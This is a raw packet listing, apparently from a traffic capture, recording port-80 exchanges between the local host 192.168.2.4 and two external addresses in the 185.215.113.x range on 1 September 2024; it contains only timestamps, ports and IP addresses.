Sep 1, 2024 05:09:13.960911036 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.960937023 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.961031914 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.961041927 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.961050987 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.961071968 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.961083889 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.961093903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.961101055 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.961127996 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.961343050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.961390972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.979054928 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.979087114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.983824015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.984020948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.984030008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.984070063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.984081030 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.984167099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:14.021222115 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021239996 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021248102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021349907 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021358967 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021367073 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021378040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021388054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021411896 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021411896 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021411896 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021430969 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021450043 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021459103 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021466970 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021476030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021486044 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021491051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021495104 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021507978 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021519899 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021539927 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021563053 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021572113 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021579981 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021610022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021651983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021667004 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021687984 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021697998 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021706104 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021714926 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021732092 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021748066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021750927 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021759033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021766901 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.021792889 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.021804094 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022744894 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022825003 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022840977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022850037 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022859097 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022866964 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022877932 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022890091 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022906065 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022914886 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022924900 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022933960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022962093 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022984028 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.022988081 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.022995949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023004055 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023013115 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023021936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023044109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023101091 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023109913 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023118973 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023163080 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023164034 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023171902 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023176908 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023195982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023205996 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023211002 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023238897 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023266077 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023277044 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023287058 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023320913 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023329020 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023329020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023358107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023366928 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023366928 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023394108 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023418903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023435116 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023443937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023453951 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023459911 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023488045 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023561954 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023571014 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023580074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023583889 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023591995 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023622990 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023633957 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023724079 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023734093 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023776054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023777962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023785114 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023792028 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023803949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023811102 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023842096 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023844004 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023854017 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023863077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023873091 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023886919 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023897886 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023922920 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.023947954 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023957968 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023966074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.023997068 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024019003 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024641037 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024686098 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024694920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024744034 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024749994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024766922 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024776936 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024785042 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024791002 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024796963 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024815083 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024842978 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024924994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024941921 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024950027 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.024974108 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.024997950 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025026083 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025036097 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025051117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025058985 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025075912 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025101900 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025113106 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025122881 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025158882 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025175095 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025182962 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025223017 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025372982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025418997 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025484085 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025492907 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025533915 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025538921 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025543928 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025577068 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025752068 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025760889 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025769949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025779009 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025794029 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025798082 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025801897 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025810003 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025820017 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025826931 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025827885 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025839090 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025845051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025846004 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025855064 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025857925 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025863886 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025871038 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025878906 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025892019 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025896072 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025902033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025909901 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025917053 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025917053 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.025943995 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.025963068 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051520109 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051527023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051537037 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051570892 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051632881 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051641941 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051651001 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051702023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051711082 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051743031 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051743031 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051743031 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051743984 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051755905 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051775932 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051789999 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051796913 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051810026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051850080 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051889896 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051903963 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051912069 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051920891 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.051930904 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.051963091 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112169981 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112186909 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112195969 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112292051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112302065 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112310886 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112319946 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112329006 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112401962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112436056 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112452030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112461090 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112469912 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112488985 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112519979 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112677097 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112687111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112696886 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112723112 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112751007 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112756968 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112760067 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112770081 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112780094 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112804890 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112833023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112839937 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.112843990 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.112876892 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.113818884 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113826990 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113836050 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113869905 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.113882065 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.113939047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113948107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113957882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113966942 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113975048 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.113991022 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114021063 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114094973 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114104986 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114114046 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114123106 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114132881 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114140987 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114144087 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114160061 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114180088 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114228964 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114237070 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114245892 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114254951 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114281893 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114293098 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114310026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114320040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114329100 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114356995 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114381075 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114461899 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114470959 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114480019 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114487886 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114496946 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114506960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114515066 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114516020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114526033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114562035 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114576101 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.114582062 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.114624023 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.115938902 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.115956068 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.115964890 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.115998030 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116022110 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116039991 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116050005 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116060019 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116094112 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116117001 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116121054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116131067 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116173983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116269112 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116277933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116287947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116302967 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116311073 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116313934 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116321087 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116332054 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116358995 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116364002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116374016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116388083 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116396904 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116408110 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116429090 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116456032 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116456985 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116466999 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116513014 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116615057 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116624117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116632938 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116641045 CEST	80	49743	185.215.113.16	192.168.2.4
